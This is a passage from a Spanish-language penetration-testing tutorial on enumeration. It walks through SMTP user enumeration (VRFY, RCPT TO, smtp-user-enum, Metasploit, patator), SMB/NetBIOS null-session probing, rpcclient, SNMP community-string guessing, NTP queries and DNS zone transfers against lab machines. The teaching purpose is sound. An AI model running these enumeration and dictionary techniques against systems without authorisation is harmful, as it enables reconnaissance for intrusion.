en Wireshark. Chris Sanders, autor del libro Practical Packet Analysis, 3rd Edition, tiene un
repositorio con multiples capturas que podemos utilizar para aprender los protocolos de
internet. Descargamos la captura correspondiente al envío de email y la guardamos en un
fichero que se llame envio_email.pcapng:

320
Enumeración

Para visualizar el archivo, abrimos el capturador de paquetes, wireshark, en Kali Linux:

Una vez abierto wireshark, hacemos click en la opción Open del menú File:

321
Enumeración

Seleccionamos la captura que acabamos de descargar y hacemos click en el botón Open:

322
Enumeración

Tras abrir la captura, podemos ver todos los paquetes que se han enviado y recibido
durante la captura de red. Con el fin de filtrar la captura y mostrar la información de un
modo más amigable, podemos ir a la opción Follow menu Analyze y seleccionar TCP
Stream:

Ahora podemos ver los comandos que se han usado para la enviar un correo electrónico
usando el protocolo SMTP. En la siguiente captura de pantalla están comentados algunos
de ellos:

323
Enumeración

Ahora que hemos visto los comandos, usemoslos para enviar un correo electrónico usando
el protocolo SMTP. En este caso, volvemos a usar gmail para enviar el correo. Creamos una
cuenta para hacer pruebas en gmail y mandamos el email desde esa cuenta:

Debido a que gmail cifra la comunicación, usaremos el programa s_client de la suite


openssl para conectarnos a los servidores de gmail usando el puerto 587. El programa
s_client es un programa cliente que nos permite establecer comunicaciones cifradas, a

324
Enumeración

través de distintos protocolos como HTTP o SMTP, con otros equipos remotos que utilicen
el protocolo TLS/SSL para cifrar las comunicaciones. Usaremos el programa s_client de la
suite openssl con las siguientes opciones:

-connect {hostname:puerto} => indica a qué equipo y a qué puerto queremos


conectarnos
-starttls {protocolo} => usa TLS para cifrar la comunicación. en este caso indicaremos
el protocolo smtp
-ign_eof => Ignorará ciertos carácteres que son sinónimos de fin de documento
-crlf => Convertirá los carácteres CR en CRLF

NOTA En general, en los sistemas operativos GNU/Linux, cuando pulsamos intro para
saltar de línea, se usa el carácter CR (Carriage Return) para representar ese cambio de
línea. Sin embargo, en los sistemas operativos windows y, como podemos ver en la
especificación, tambien el protocolo SMTP, usa los carácteres CR y LF (Line Feed):

Como la distribución Kali Linux es un sistema operativo basada en GNU/Linux, le pasamos


la opción -crlf para convertir todos los carácteres CR a CRLF.

Una vez vistas las opciones, usamos el programa s_client para conectarnos a gmail:

openssl s_client -starttls smtp -crlf -ign_eof -connect [Link]

325
Enumeración

Tras iniciar la comunicación, nos mostrará un código 250 y se quedará en espera para que
nosotros iniciemos la conversación:

Comenzamos saludando al servidor de correo con el comando EHLO:

Tras saludarlo, nos mostrará los comandos disponibles. En este caso, tendremos que
autenticarnos ante el servidor con nuestro usuario (email) y contraseña. El método de
autenticación que usaremos sera autenticación básica. Para ello, primero tenemos que
pasar nuestro nombre usuario y contraseña al sistema de numeración con base 64. Para

326
Enumeración

ello, podemos usar muchas páginas web que podemos encontrar a través de los
buscadores de internet o, por ejemplo, usando un lenguaje de programación como python.
El formato en que debemos codificar, pasar de texto a base64, el usuario y la contraseña
es:

\0miemail@[Link]\0mipassword

El carácter \0 indica que finaliza una cadena texto y debe ir al principio y entre medias del
email y la constraseña

Una vez que lo tenemos en ese formato, usamos python para convertirlo a base 64:

Copiamos la cadena de texto en base 64 y utilizamos el comando AUTH PLAIN para


autenticarnos contra el servidor:

La primera vez que intentemos autenticarnos, el servidor de gmail nos mostrará el siguiente
mensaje:

y nos enviará un email a nuestra bandeja de entrada para informarnos que se ha intentado
acceder desde una aplicación insegura:

327
Enumeración

Abrimos el correo y hacemos click en el enlace permitiendo el acceso a aplicaciones menos


seguras (Estas pruebas deben realizarse sobre una cuenta de gmail creada para el
proposito de aprender el protocolo SMTP, nunca desde nuestra cuenta):

Tras hacer click en el enlace veremos que, por defecto, no esta permitido el acceso:

328
Enumeración

Lo habilitamos haciendo click en el botón:

y nos autenticamos de nuevo:

ahora si podemos autenticarnos correctamente. El servidor nos muestra el mensaje


Accepted para indicarnos que la autenticación ha sido correcta y queda a la espera del
siguiente comando:

El primer comando que tenemos que usaremos es MAIL FROM para indicar quién envía el
email. Aquí introducimos el email con el que nos hemos autenticado:

329
Enumeración

El siguiente comando RCPT TO es para indicar el destinatario del correo. Por ejemplo, para
poder comprobar que se recibe el mensaje nos lo podemos enviar a nuestro correo
personal:

A continuación, usaremos el comando DATA para escribir el cuerpo del email:

Escribimos el contenido que queramos:

y cuando hayamos terminado de escribir, lo indicamos con un punto:

y pulsamos intro para enviar el correo electrónico. El servidor nos indicará con un código
250 que se ha enviado correctamente:

330
Enumeración

Podemos verificar que lo hemos recibido en la bandeja de entrada del correo al que lo
hayamos enviado:

y ver su contenido:

finalmente, nos despedimos del servidor con el comando quit:

331
Enumeración

Enumeración directa a través del protocolo SMTP


Para entender que, cualquier programa que utilicemos para enumerar usuarios lo que va a
hacer es utilizar el protocolo SMTP, primero enumeraremos usuarios nosotros de forma
manual. Para enumerar usuarios usando el protocolo SMTP podemos usar 3 comandos del
protocolo:

RCPT TO
VRFY
EXPN

Comenzaremos viendo como enumerar usuarios con RCPT TO:

El servidor de correo de Google no permite enumerar usuarios, por lo que usaremos la


máquina metasploitable 2 que tiene un servicio SMTP vulnerable sin cifrar en el puerto 25:

Como la comunicación no esta cifrada, usaremos el programa telnet para conectar con el
servicio SMTP. La forma de utilizarlo es:

telnet {hostname_o_IP} {puerto}

En este caso nos conectamos al puerto 25 del protocolo TCP de la máquina metasploitable
2:

Tras establecer la conexión, el servidor se queda esperando a recibir comandos.


Comenzamos saludando al servidor con el comando EHLO:

332
Enumeración

Tras saludarlo, nos mostrará la lista de comandos disponibles y, nuevamente, se quedará


esperando a recibir otro comando. En este caso vamos a comprobar los usuarios de la
máquina. Un usuario que, aunque no deberian, tienen muchas máquinas GNU/Linux es el
usuario root, luego usamos este usuario en el comando MAIL FROM:

ahora usaremos el comando RCPT TO para intentar averiguar usuarios. Comenzamos


haciendo una prueba e intentamos enviar un email a un usuario de la máquina que no
existe:

333
Enumeración

y como podemos ver, el servidor nos indica que ese usuario no existe. Ahora probamos con
uno que si existe:

y el servidor nos permite enviarlo a este destinatario. Ahora probamos con otro a ver si
existe:

y como no existe nos lo rechaza. Probamos con otro que si existe:

334
Enumeración

y nos permite enviar correos a ese usuario. En este caso, hubiesemos encontrado dos
usuarios:

user
msfadmin

cuando terminemos cerramos la conexión con el servidor, usando el comando quit:

En muchas empresas, es posible enumerar usuarios usando RCPT TO porque, para enviar
correos, debe estar activo.

Enumerando con VRFY

335
Enumeración

Aunque debería estar desactivado, el siguiente comando que podemos usar para enumerar
usuarios a través del protocolo SMTP es el comando VRFY. Para ello nos conectamos al
servidor usando telnet y le saludamos usando el comando EHLO:

El comando VRFY se usa de la siguiente manera:

VRFY {usuarioQueQueremosProbar}

Por ejemplo, probamos uno que no existe:

Ahora probamos con uno que si existe:

336
Enumeración

y al igual que con el comando RCPT TO iriamos probando usuarios a ver si existen o no.
Siempre ayudandonos de todos los correos electronicos e información que hayamos podido
recopilar en la fase de recopilación de información.

Enumerando con EXPN

Aunque el comando EXPN del protocolo SMTP también nos permite enumerar, no tengo
ninguna máquina de ejemplo. Pero podéis apuntarlo para que lo tengáis en cuenta.

Enumeración con el script smtp-user-enum


Ahora usaremos programas que hacen uso de estos comandos para enumerar usuarios
con nosotros. Comenzamos por el script escrito en el lenguaje de programación perl smtp-
user-enum. Comenzamos creando una lista (también llamada diccionario) de usuarios con
el editor de texto que queramos. En este caso uso vim:

Creo unos pocos usuarios para el ejemplo:

337
Enumeración

Una vez que tengo un fichero (diccionario) con los usuarios a comprobar puedo usar el
script. Para usarlo le tengo que indicar qué comando del protocolo SMTP utilizar para la
enumeración. Las opciones del comando son:

-U {ficheroUsuarios} Para indicarle al programa cual es el fichero que contiene los


usuarios que quiero comprobar
-M {comandoSMTPAUtilizar} Para indicarle el comando del protocolo SMTP a utilizar
-t {máquinaObjetivo} Para indicarle el nombre de dominio o IP de la máquina donde
esté el servicio

La forma de usarlo, por ejemplo, con el comando VRFY es:

smtp-user-enum -M VRFY -U usuarios_a_comprobar -t [Link]

Podemos ver que, al finalizar, nos informa de los usuarios que exiten:

user
msfadmin

También podemos ejecutar el script indicandole que la comprobación de usuarios la haga a


través del comando RCPT TO del protocolo SMTP:

smtp-user-enum -M RCPT -U usuarios_a_comprobar -t [Link]

338
Enumeración

Enumeración con metasploit


El framework Metasploit también incluye un escáner que nos permite enumerar usuarios
usando el protocolo SMTP. Para usarlo, primero iniciamos el servicio de la base de datos,
PostgreSQL, que es la que usa metasploit:

Una vez iniciado el servicio, iniciamos metasploit:

339
Enumeración

Seleccionamos el escáner que queremos usar con el comando use


auxiliary/scanner/smtp/smtp_enum:

A continuación usamos el comando show options para que nos muestre las opciones que
tiene el escaner. En este caso cambiaremos las opciones:

RHOSTS para indicarle la máquina donde está el servicio SMTP


USER_FILE para indicarle el fichero (diccionario) con la lista de usuarios a comprobar

Cambiamos las opciones usando el commando set:

y ejecutamos el escáner con el comando exploit:

Vemos que descubre los mismos usuarios:

user
msfadmin

Enumeración con patator


Patator es una herramienta que podemos utilizar para lanzar ataques de diccionario contra
distintos servicios. En este caso la usaremos para lanzar un ataque de diccionario contra el
servicio smtp con el fin de enumerar usuarios. Para ver cómo se usa, escribimos patator en
la consola de comandos y veremos que tiene 2 módulos para enumerar usuarios usando los
comandos VRFY y RCPT TO del protocolo SMTP:

340
Enumeración

Dependiendo de los módulos que utilicemos, tendremos que pasar unas opciones u otras.
Por ejemplo, para saber cómo utilizar el módulo smtp_vrfy, escribimos patator smtp_vrfy y
pulsamos intro:

Nos aparecerá un ejemplo. Siguiendo el ejemplo, lanzamos patator pasandole el fichero


(diccionario) de usuarios_a_comprobar y le decimos el saludo que debe usar con el
servidor:

Vemos que encuentra los dos usuarios que son correctos:

341
Enumeración

user
msfadmin

Con el fin de ver mejorar la visualización de los resultados, usamos la opción -x


ignore:code=550 para ignorar aquellos usuarios que no son válidos:

Usando el módulo smtp_rcpt, hubiésemos obtenido el mismo resultado:

3. NetBIOS, SMB y Samba

Introducción informal al concepto de API


Una API define el lugar (endpoint) donde tengo que llamar para pedir las cosas que quiero
pero no el medio de transporte (protocolo) a través del cuál me llegarán las cosas (recursos)
que pido. Extrapolemoslo la definición de API a un ejemplo de la vida cotidiana como pedir
una pizza a domicilio. Para pedir una pizza a domicilio tengo que llamar a la pizzeria. En
este caso el recurso que solicito en mi llamada es una pizza y el endpoint es el lugar al que
llamo para hacer el pedido. Lo único que tengo que saber para pedir una pizza es dónde
llamar. No me tengo que preocupar por el medio de transporte. Me da igual si me la traen
andando, en bici, en coche o en helicoptero. Mi única preocupación es saber a dónde
llamar. En una API ocurre lo mismo, sólo tengo que saber a dónde llamar para que me den
las cosas (recursos o servicios) que quiero. No me tengo que preocupar por el medio de
transporte (protocolo) a través del cual pido y me traen los recursos.

Breve introducción informal a NetBIOS


NetBIOS (Network Basic Input/Output System) es una API que fue diseñada por IBM y más
tarde adoptada por Microsoft, para que varios ordenadores pudiesen comunicarse entre si y
transferir datos entre ellos. NetBIOS permite que aplicaciones en diferentes ordenadores
puedan comunicarse entre sí. Asimismo como hemos visto, una API como la de NetBIOS,

342
Enumeración

sólo define el lugar (endpoint) al que tengo que llamar para pedir las cosas (servicios en
este caso) pero no define el medio de transporte (protocolo) a través del cual pediré o me
llegarán los datos. Los medios de transporte (protocolos) que usan para las llamar a los
servicios de la API de NetBIOS son:

UDP 137 => Se usa para las llamadas al servicio de nombres, conocido como NBNS
(NetBIOS Name Service) o WINS, de la API de NetBIOS
UDP 138 => Se usa para las llamadas al servicio, Datagram distribution service, de
la API de NetBIOS (en deshuso)
TCP 139 => Se usa para las llamadas al servicio NetBIOS Session Services de la API
de NetBIOS

Estos servicios de la API de NetBIOS son usados por otros protocolos como el protocolo
SMB.

NetBIOS Name Service (NBNS)

El servicio NetBIOS Name Service (NBNS), también conocido como WINS, es un servicio
de la capa 5 (session) del modelo OSI que asigna un nombre a cada ordenador con sistema
operativo windows. Sirve al mismo propósito que el protocolo DNS, traducir nombres fáciles
de recordar por las personas a direcciones IP. Sólo que NetBIOS, además de funcionar con
el protocolo IP, funciona con otros protocolos ya en deshuso como IPX o Token Ring. Sin
embargo, el servicio NBNS de la API de NetBIOS está mucho más limitado que el servicio
DNS porque, por ejemplo, ni soporta el protocolo IPv6 ni está organizado de forma
jerárquica. El nombre que asigna el servicio NBNS esta formado por 16 carácteres ASCII:

los 15 primeros carácteres se usan para el dar el nombre que identifique al equipo o
dispositivo
el último carácter (sufijo) se utiliza para identificar el tipo de servicio al que se le ha
asignado el nombre

343
Enumeración

Breve introducción informal a SMB y su relación con


NetBIOS
Server Message Block (SMB) es un protocolo que, entre otros, permite el acceso
compartido a archivos, impresoras o recursos compartidos (shares) o cuentas de acceso
entre equipos con sistema operativo windows. No sólo funciona en una red de área local
sino que es accesible desde internet. SMB puede usarse de formas:

directamente a traves del puerto 445 del protocolo TCP


usando los servicios de la API de NetBIOS a través de:
los puertos 137 y 138 del protocolo UDP
el puerto 139 del protocolo TCP.

En los sistemas windows actuales, normalmente, el protocolo SMB se usará en el puerto


445 del protocolo TCP. Sin embargo, SMB usa los servicios de la API de NetBIOS para
poder comunicarse algunos servicios SMB que no soportan la conexión directa a traves del
protocolo 445 del protocolo TCP.

Breve introducción informal a Samba

344
Enumeración

Samba es una implementación de software libre del protocolo SMB que se usa en sistemas
operativos GNU/Linux y que es compatible con equipos con sistema operativo windows.

Usando nbtscan para enumerar los equipos usando el


servicio NBNS de NetBIOS a través de SMB y Samba
Vamos a comenzar enumerando los nombres de los equipos asignados por el servicio
NBNS (NetBIOS Name Service) haciendo llamadas a la API de NetBIOS, a través del
puerto 137 del protocolo UDP, desde el protocolo SMB o Samba. Para ello, utilizamos el
programa nbtscan. Primero comenzamos enumerando en la red objetivo:

y vemos que encontramos dos equipos:

IE10WIN7
METASPLOITABLE

Si los analizamos para que nos muestre los sufijos del nombre asignado por NBNS y asi
conocer qué tipo de servicio son, pasamos la opción -v a nbtscan:

El número de sufijo nos da indicación del uso. Por ejemplo, como hemos visto
anteriormente el sujifo 00 nos indica que es una workstation y el sufijo 20 indica un servicio
de compartir ficheros.

345
Enumeración

Usando scripts de nmap para enumerar a través de los


protocolos SMB y Samba
Estos scripts nos ayudarán en el proceso de enumeración creando conexiones a través del
puerto 445 del protocolo TCP con otros servicios SMB o Samba y, también creando
conexiones a través del puerto 139 del protocolo TCP usando el servicio de sesiones de la
API de NetBIOS. Podemos ver todos los scripts que tenemos disponibles de nmap para
usar con el protocolo smb y samba, listando el contenido de la ruta /usr/share/nmap/scripts
y filtrando los resultados con grep:

A continuación veremos como usar algunos de ellos.

[Link]

El script intenta determinar el sistema operativo, nombre del ordenador (NBNS), dominio,
grupo de trabajo y hora del sistema operativo. Es decir, hace llamadas a los servicios de la
API de NetBIOS a través de los puertos 137 (UDP) y 139 (TCP) utilizando el protocolo SMB.
Lo probamos en la máquina virtual de Windows 7:

346
Enumeración

[Link]

El script intenta enumerar los recursos compartidos (shares) de un sistema utilizando el


protocolo SMB. Lo probamos en la máquina de windows 7:

347
Enumeración

De todos los recursos compartidos (shares) que se enumeran, el más interesante es el


share IPC$ que es conocido como Null Session. Si el share IPC$ (null session) estuviese
activo, nos permitiría el acceso de forma anónima. Es decir, sin necesidad de autenticarnos.
Por defecto, en los sistemas windows viene desactivado.

[Link]

El script intenta enumerar usuarios utilizando la API de NetBIOS a través del puerto y 139
(TCP) a través del protocolo SMB y utilizando el puerto 445 del protocolo SMB. Debido a
que los scripts de nmap intentan utilizar el acceso anónimo (null session) y, como hemos
visto en el ejemplo anterior, en sistemas operativos windows el acceso anónimo (null
session) está deshabilitado por defecto, lo probamos en la máquina de metasploitable 2:

348
Enumeración

Como es normal en un sistema GNU/Linux, la mayoría de las cuentas están deshabilitadas.


Pero si buscamos, nos encontramos a los 2 mismos usuarios que cuando enumeramos el
protocolo SMTP. El usuario msfadmin:

y el usuario user:

Usando el cliente de SMB smbclient para enumerar y


conectarnos a shares
También podemos usar un programa cliente del protocolo SMB para enumerar shares
(recursos compartidos). Para enumerar shares usamos la opción -L Lo probamos contra la
máquina metasploitable 2:

349
Enumeración

Como está activa la autenticación anónima (null session) podemos conectarnos sin
necesidad de contraseña. Por eso pulsamos intro:

En este caso, aparte de la sesión anónima, vemos que hay un share que una carpeta
compartida (/tmp), pues nos conectamos a ver que tiene usando smbclient:

Como esta activa la autenticación anónima (null session), no necesitamos contraseña:

Una vez dentro, podemos ver los contenidos de la carpeta usando el comando ls:

350
Enumeración

Usando enum4linux para enumerar SMB y Samba


Otro programa que podemos utilizar para enumerar a través de los protocolos SMB y
Samba es enum4linux. Como casi todas las herramientas que usamos, enum4linux tiene
muchas opciones. Vamos a ver dos de ellas. La opción -U que nos muestra una lista de
usuarios:

En este caso vemos que, nos indica que se aceptan sessiones nulas sin usuario ni
password, y después nos facilita la lista de usuarios. Para hacer una enumeración
completa, usamos la opción -a:

351
Enumeración

Enumerando desde windows


Desde Windows también tenemos programas que nos van a permitir enumerar a través del
protocolo SMB y la API de NetBIOS.

net view

Nos puede servir para enumerar los equipos en el dominio y sus recursos compartidos
(shares). Para enumerar los equipos del dominio realiza peticiones al servicio NBNS
(NetBIOS Name Service) de la API de NetBIOS (puerto 137 del protocolo UDP) a través del
protocolo SMB. Por ejemplo, si queremos enumerar los equipos:

352
Enumeración

Una vez descubierto los equipos, podemos intentar enumerar sus recursos compartidos.
Probamos a enumerar los recursos compartidos de la máquina con sistema operativo
Windows 10:

nbtstat

Una vez descubiertos los equipos con net view, podemos usarlo para ver los sufijos
asignados por NBNS:

4. RPC (Remote Procedure Call)

Breve introducción informal a RPC

353
Enumeración

RPC (Remote Procedure Call) es modelo o estandar que se puede utilizar para diseñar una
API. Si se diseña una API siguiendo el modelo RPC, la API será una API RPC. Existen
otros modelos a la hora de diseñar una API como el modelo SOAP o el modelo REST que
es muy utilizado en APIs web como, por ejemplo, la API REST de Twitter. Entrar en los
detalles del diseño de APIs de acuerdo al modelo RPC se salen del objetivo de este
documento.

Enumerando a través de msrpc (Microsoft RPC) con


rcpclient desde Kali Linux
La implementación de RPC de Microsoft se llama MSRPC (Microsoft RPC) que usa como
medio de transporte el protocolo SMB. Microsoft RPC lo utilizan muchos servicios de
Microsoft Windows Server como el servicio de administración de DNS o Microsoft
Exchange. Veamos un ejemplo de cómo podemos utilizar MSRPC para enumerar a través
del protocolo SMB en un sistema operativo windows 10. Usaremos el programa rcpclient
incluido en Kali Linux. Hacemos un escaneo con nmap para ver descubrir el servicio:

Para poder enumerar necesitamos tener un usuario y una contraseña. Para usarlo le
indicamos el equipo al que nos queremos conectar y el usuario (IEUser en este caso):

A continuación, tecleamos la contraseña:

Ahora podemos ir tecleando comandos para ir obteniendo información. Por ejemplo svrinfo
nos mostrará información sobre el sistema operativo:

354
Enumeración

si queremos enumerar los usuarios podemos usar enumdomusers:

si queremos ver más información sobre algún usuario, podemos usar el comando queryuser
y pasarle el RID que nos ha dado en el comando anterior. Podemos pasarle el RID en
hexadecimal, o convertirlo en decimal, por ejemplo, usando python:

En este caso consultamos información sobre el usuario Administrator:

Asimismo también podemos enumerar recursos compartidos (shares) utilizando el comando


netshareenumall:

355
Enumeración

También podemos ver las impresoras configuradas con el comando enumprinters:

además de enumerar, el programa rpcclient nos va a permitir hacer muchas más cosas.
Para ver un listado completo de todos los comandos que podemos usar, tecleamos help:

356
Enumeración

5. Enumerando cuentas de usuario y dispositivos en la red


usando SNMP

Breve introducción informal al protocolo SNMP


SNMP (Simple Network Management Protocol) es un protocolo que sirve para administrar
de forma remota los dispositivos conectados a una red. Usa el puerto 161 del protocolo
UDP. De las 3 versiones existentes del protocolo, sólo en una de ellas se cifra la
información (SNMPv3) y no es muy utilizada. Desde el punto de vista de la enumeración,
nos va a permitir recopilar información de cualquier dispositivo conectado en la red como
routers, switches, servidores, impresoras, etc. La mayoría de los fabricantes soportan este
protocolo de red que se usa tanto en sistemas operativos Windows como GNU/Linux.
Funciona de acuerdo al modelo de agentes de software. Es decir, se instala un programa,
que se denomina agente, en cada uno de los dispositivos o equipos que se quiere
administrar de forma remota y, se instala un programa, que se denomina manager, en el
equipo que se vaya a utilizar para controlar todos los agentes. Los agentes reciben datos e
instrucciones del programa que los controla (manager) y envían información al programa
manager como su estado actual o su configuración. El programa manager guarda toda esta
información en una base de datos que se conoce como MIB (Management Information
Base). En esta base de datos (MIB) se ordena la información recopilada de forma jerárquica
o siguiendo una estructura de árbol:

357
Enumeración

Cada punto (nodo) del árbol es una o varias características (opciones) de los dispositvos o
equipos que pueden ser administradas remotamente. A cada nodo se le asigna un
identificador que se denomina OID (Object Identifier) y que será utilizado por el protocolo
SNMP cuando se quiera modificar o saber el estado de esa característica. El protocolo
SNMP define 2 contraseñas que denomina community strings:

una de ellas que sólo permite ver el estado (configuración) del dispositivo y es
accesible a todo el mundo (public community string)
otra que, además de ver, permite cambiar la configuración del dispositivo y que no está
disponible públicamente (private community string)

Como he mencionado anteriormente, de las 3 versiones del protocolo SNMP, la única que
va cifrada (SNMPv3) no es muy utilizada. Es decir, que siempre que no este implementada
esta versión, podremos, al menos, conseguir la contraseña pública (public community
string) y ver la configuración de todos los dispositivos. Vamos a ver herramientas
(programas) que capturan esta clave pública (public community string) y nos muestran la
configuración de los equipos. Como siempre, para ampliar conocimientos podéis consultar
los RFCs:

RFC 1157 => SNMP


RFC 3410 => SNMPv3

Conseguir las community strings usando onesixtyone y


enumerando con snmpwalk
Antes de comenzar, descubrimos el servicio en el puerto 161 del protocolo UDP usando
nmap:

Vemos que están usando la primera versión del protocolo SNMP. Después usamos el
programa onesixtyone para realizar peticiones SNMP a diferentes IPs para descubrir la
contraseña (community string) pública y, a ser posible, también la privada. Por ejemplo,
para conseguir las community strings de un dispositivo en concreto:

358
Enumeración

En este caso han dejado por defecto:

public para la public community string


private para la private community string

Ahora podemos usar un programa como snmpwalk para ver la información del equipo de la
base de datos MIB ya que tenemos la public community string para autorizar esta
operación. Para ello, le pasamos las opciones:

-v1 porque la versión del protocolo que hemos descubierto con nmap es SNMPv1
-c public porque estamos usando la public community string para autorizar en MIB la
operación de ver la configuración del equipo

Enumerando con metasploit


Una vez tenemos la public community string, también podemos usar metasploit para ver la
información de un dispositivo o equipo. Para ello, usamos el scanner:
auxiliary/scanner/snmp/snmp_enum

359
Enumeración

Utilizamos el comando show options para que nos muestre las opciones del scanner:

Vemos que, por defecto, usará:

el valor public como contraseña (community string)


la versión 1 de SNMP para enumerar

Como estás opciones son las que correctas en este caso, sólo modificamos la opción
RHOSTS para indicar el dispositivo o equipo objetivo:

Finalmente, ejecutamos el scan:

360
Enumeración

6. NTP (Network Time Protocol)

Breve introducción informal al protocolo NTP


El protocolo NTP (Network Time Protocol) se utiliza para sincronizar los relojes de los
equipos o dispositivos informáticos. Es decir, es el protocolo encargado de mantener los
relojes de los equipos conectados a internet en hora. NTP utiliza el puerto 123 del protocolo
UDP. Se pueden lanzar consultas a un servidor NTP para recopilar información como la
versión del servicio o el sistema operativo. Para ampliar información sobre el protocolo NTP,
podemos consultar el RFC 5905.

Consultando información con ntpq


Primero verificamos que el servicio NTP está activo usando nmap:

361
Enumeración

Ahora usaremos el programa ntpq (ntp query) para realizar consultas al servidor NTP para
obtener información. Para usarlo, le indicamos el equipo o dispositivo al que nos queremos
conectar:

Una vez conectados, podemos teclear comandos y enumerar el servidor NTP. Uno de los
primeros comandos que podemos usar para recopilar información útil es readlist:

Vemos que se esta usando un servicio NTP versión 4 sobre un sistema operativo Linux
sobre un procesador de arquitectura de 64bits. Otro comando interesante es peers:

362
Enumeración

En donde vemos la lista de servidores remotos a la que nos conectamos. El que empieza
con un * es que primer servidor que se ha definido en el archivo de configuración del
servicio ntp:

Para ver el resto de comandos que podemos utilizar, podemos usar el comando help:

Consultando información con nmap


Como ocurre en muchas ocasiones, existe un script ([Link]) en nmap que nos va a
permitir enumerar el servicio ntp de forma sencilla:

363
Enumeración

7. DNS - Transferencias de Zona


Una vez que hemos localizado los servidores DNS en el punto anterior, trataremos de
identificar equipos importantes dentro de la red objetivo.

Breve introducción de manera muy informal a DNS


Aunque ya hicimos la introducción informal al protocolo DNS en el tema de recopilación de
información, hacemos un breve repaso. Debido a que, en general, resulta más sencillo
recordar nombres que secuencias numéricas, existe un protocolo llamado DNS encargado
de traducir nombres de dominio como [Link] o [Link] a direcciones IP. El protocolo
DNS es el medio de comunicación que utilizamos para solicitar la traducción de un nombre
a su dirección IP. Las traducciones se solicitan a un servidor DNS que vendría a ser, en este
ejemplo, el diccionario de traducciones donde podemos buscar el nombre y obtener la IP. Al
igual que ocurre con los diccionarios que clasifican las palabras en adjetivos, sustantivos,
determinantes, etc. Los servidores DNS clasifican las cada una de las entradas en su
diccionario con unas letras a las que llaman registros. Algunos conocidos son:

A para solicitar la IPv4 de un nombre de dominio


AAAA para solicitar la IPv6 de un nombre de dominio
CNAME para conocer los nombres (alias) de todos los servicios bajo una misma IP

364
Enumeración

PTR para conociendo la IP preguntar por el nombre de dominio


NS para saber el servidor o los servidores DNS que continen los registros del dominio
MX para saber los servidores de correo
SPF indica que servidores de correo están autorizados para enviar emails con el
dominio
SOA también llamado Start of Authority nos indica información útil como:
primary name server cuál es el servidor DNS responsable de ese nombre de
dominio
responsible mail addr quién es el responsable de ese dominio
serial number que es un registro de tiempo que cambia cada vez que se actualiza
el dominio

El protocolo DNS funciona en el puerto 53 del protocolo UDP pero, para las transferencias
de zona, también usa el puerto 53 del protocolo TCP.

Breve introducción informal al concepto de zona en el


protocolo DNS
Hemos comentado en el punto anterior que el servidor DNS tiene un diccionario de
traducciones que contiene los nombres de dominio y sus IPs asociadas clasificadas en
ciertos tipos que denomina registros. Cuando, por ejemplo, solicito traducir el dominio
[Link] puedo, por ejemplo, solicitar traducirlo a una dirección IPv4 (registro A) o a una
dirección IPv6 (registro AAAA). Este diccionario de traducciones se conoce como base de
datos DNS. Cada servidor DNS tiene una base de datos DNS correspondiente al nombre de
dominio o a los nombres de dominio del que es responsable. Veamos un ejemplo. Si yo
quiero saber qué servidor DNS es responsable del nombre de dominio [Link], puedo
realizar una petición al servidor dns para consultar el registro SOA (Start Of Authority). Para
ello, inicio el programa nslookup:

y consulto el registro SOA del nombre de dominio [Link] para saber qué servidor DNS
es responsable de este dominio. El servidor DNS responsable del nombre de dominio se
llama primary name server:

365
Enumeración

Un servidor DNS puede ser responsable de uno o varios nombres de dominio. Una vez que
sabemos identificar qué servidor DNS es responsable de un nombre de dominio, vamos
introducir el concepto de zona en el protocolo DNS. Se llama zona, en el protocolo DNS, a
la información del nombre de dominio o conjunto de nombres de dominio contenida en la
base de datos del servidor DNS sobre el nombre de dominio o nombres de dominios de los
que es responsable. Por ejemplo, la empresa ficticia No Tenemos respuestas puede tener
un servidor DNS que sea responsable del nombre de dominio [Link].
Que el servidor DNS sea responsable del nombre de dominio, [Link],
quiere decir que, cualquier equipo de internet que quiera saber la dirección IP o direcciones
IPs asociadas al dominio [Link], tendrá que preguntar al servidor DNS
responsable del dominio [Link]. Como hemos visto, denominamos zona,
en el protocolo DNS, a la información del nombre de dominio o conjunto de nombres de
dominio contenida en la base de datos del servidor DNS sobre el nombre de dominio o
nombres de dominios de los que es responsable. Esto quiere decir, que el servidor DNS del
dominio, [Link], contiene la base de datos con todas las direcciones IPs
asociadas a ese dominio. Como estas IPs están clasificadas por registros, podemos
identificar las direcciones IP de todos los equipos importantes en el dominio,
[Link], como los servidores de correo. Si el dominio no es muy grande y
no cuentan con servidores DNS responsables para los subdominios del dominio principal, el
servidor DNS responsable del nombre de dominio [Link], también
contendrá todas las IPs asociadas a cada uno de los subdominios.

Breve introducción informal a las transferencias de zona


Ahora que sabemos lo que es una zona, veamos qué es una transferencia de zona.
Normalmente, en muchas empresas, aparte del servidor DNS responsable del nombre de
dominio, se implementa un segundo servidor DNS de backup para realizar copias de la
base de datos del servidor principal. En nuestro caso tendríamos el servidor DNS
responsable del nombre de dominio [Link] y un segundo servidor DNS
de backup para realizar copias periódicas de la información contenida en la base de datos
del servidor DNS principal. Como hemos visto, una zona, en el protocolo DNS, es la

366
Enumeración

información del nombre de dominio o conjunto de nombres de dominio contenida en la base


de datos del servidor DNS sobre el nombre de dominio o nombres de dominios de los que
es responsable. Atendiendo a que la zona es la información contenida en la base de datos
del servidor DNS, una transferencia de zona, es simplemente copiar (transferir) la
información (zona) de la base de datos del servidor DNS principal responsable del dominio
a otro servidor DNS que, en este caso, es un servidor de backup. Las transferencias de
zona usan el puerto 53 del protocolo TCP y, si se configuran de forma insegura, permiten
que cualquier persona pueda ordenar una transferencia de zona y acceder a toda
información contenida en la base de datos del servidor DNS principal.

Transferencia de zona con nslookup


Vamos a ver como utilizar el programa nslookup para conectarnos a un servidor de internet
configurado de forma insegura y ordenar una transferencia de zona. Para ello, vamos a
utilizar el dominio [Link] que está configurado para poder practicar transferencias
de zona:

Lo primero será iniciar nslookup:

Después realizamos una petición, a través del protocolo DNS, para consultar los servidores
DNS asociados al dominio [Link]:

367
Enumeración

Vemos que hay dos servidores DNS:

[Link]
[Link]

Ahora vamos a consultar el registro SOA para saber cuál de los 2 es el principal:

Ahora que ya sabemos que servidor DNS es el principal ([Link]) y cuál es el


secundario ([Link]). Vamos a ordenar una transferencia de zona del servidor
principal ([Link]) al servidor secundario ([Link]). Es decir, vamos a
copiar la información contenida en la base de datos del servidor DNS ([Link])
responsable del dominio [Link] a un fichero de texto. Para ello, nos conectarmos
al servidor DNS principal:

Para ordenar la transferencia de zona, usamos el comando ls -d [Link]:

368
Enumeración

y para salvar los resultados a un fichero, podemos usar una simple redirección:

En este caso, he llamado al fichero datos_servidor_dns_zonetransfer_me.txt. Para ver su


contenido, podemos usar el comando type:

Transferencia de zona con dig

369
Enumeración

